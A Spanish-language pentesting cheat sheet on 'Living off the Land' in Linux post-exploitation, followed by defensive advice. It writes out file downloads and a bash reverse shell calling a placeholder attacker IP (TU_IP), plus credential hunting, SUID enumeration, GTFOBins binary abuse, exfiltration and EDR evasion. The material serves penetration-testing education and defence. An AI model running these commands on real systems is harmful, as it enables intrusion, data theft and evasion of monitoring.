Living off the Land en Linux
“Living off the Land” (LOTL) es operar usando solo las herramientas que ya existen en el sistema, sin subir binarios propios. ¿Por qué? Porque subir herramientas deja ficheros que el EDR escanea y que delatan la intrusión; usar binarios legítimos del sistema (bash, python, curl, tar, los propios de la distro) se camufla entre la actividad normal. Es clave para el sigilo en post-explotación y a menudo la única opción cuando no puedes escribir en disco.
El principio
Sección titulada «El principio»Cada binario legítimo tiene funciones “extra” que se pueden desviar para fines ofensivos: descargar ficheros, abrir shells, leer datos protegidos, ejecutar código, exfiltrar. GTFOBins cataloga exactamente estas capacidades por binario. LOTL es conocer qué hay instalado y exprimirlo.
Transferencia de ficheros sin herramientas externas
Sección titulada «Transferencia de ficheros sin herramientas externas»# descargar con lo que hayacurl http://TU_IP/f -o f ; wget http://TU_IP/f# si no hay curl/wget: bash puroexec 3<>/dev/tcp/TU_IP/80; echo -e "GET /f HTTP/1.0\n" >&3; cat <&3 > f# python / perl / php / ruby como descargadorespython3 -c 'import urllib.request;urllib.request.urlretrieve("http://TU_IP/f","f")'# servir ficheros desde el objetivopython3 -m http.server 8000# codificar/decodificar para canales de textobase64 fichero # -> pegar -> base64 -d en el otro ladoShells y ejecución sin binarios subidos
Sección titulada «Shells y ejecución sin binarios subidos»# reverse shells con lo que hay (ver fund-cli)bash -i >& /dev/tcp/TU_IP/4444 0>&1python3 -c 'import socket,subprocess,os;...' # reverse shell en python# ejecución desde intérpretes ya instalados (perl, php, ruby, nc, socat)# estabilizar TTY con python pty (ver fund-cli)Enumeración y looting con binarios nativos
Sección titulada «Enumeración y looting con binarios nativos»# todo lo de lin-enum se hace con find/grep/cat/ls/ps/ss -> ya estánfind / -perm -4000 2>/dev/null # SUID (nativo)grep -rni password /etc 2>/dev/null # credenciales (nativo)# evitar subir linpeas: hacerlo a mano si el sigilo es críticoGTFOBins para LOTL ofensivo
Sección titulada «GTFOBins para LOTL ofensivo»# ejemplos de "desvío" de binarios legítimostar, zip -> ejecutar comandos (--checkpoint-action, -TT)find -exec -> ejecuciónawk, sed, vi -> shell / lectura de ficherosopenssl -> cifrar/exfiltrar, incluso como cliente/servidorsystemd-run -> ejecutar como otro contextoPor qué importa (sigilo)
Sección titulada «Por qué importa (sigilo)»- Sin IOCs de fichero: no subes malware que firmas/EDR detecten.
- Se camufla: curl, python y tar son actividad legítima constante.
- A veces obligatorio: FS de solo lectura, sin permiso de escritura, sin red saliente para descargar tools.
- Es la base del enfoque fileless y de la evasión en Linux (paralelo a LOLBAS en Windows, ver Evasión de defensas (AMSI / AV / EDR)).
Para la defensa
Sección titulada «Para la defensa»- Logging de ejecución (auditd, eBPF): registrar qué binarios se ejecutan y con qué argumentos, no solo qué ficheros aparecen.
- Detección por comportamiento:
bash -ihacia /dev/tcp,python -ccon sockets,tar --checkpoint-action, uso anómalo de curl/openssl. - Reducir binarios: imágenes mínimas (distroless) en contenedores; quitar intérpretes/herramientas innecesarias.
- Egress filtering (frena descargas y reverse shells) y AppArmor/SELinux (confinar qué puede hacer cada proceso).
- EDR Linux que entienda LOTL, no solo firmas de ficheros.
Checklist de prueba
Sección titulada «Checklist de prueba»- Inventariar qué binarios/intérpretes hay (which python curl wget nc socat perl)
- Transferir ficheros sin subir herramientas (curl/bash /dev/tcp/python)
- Reverse shell con binarios nativos (bash/python)
- Enumeración a mano con find/grep/ps (evitar linpeas si hace falta sigilo)
- Desviar binarios legítimos vía GTFOBins (tar/find/awk/openssl)
- Exfiltrar por canales existentes (DNS/HTTP, base64)
- Minimizar ficheros escritos en disco
- Blue: ¿hay logging de ejecución y detección por comportamiento?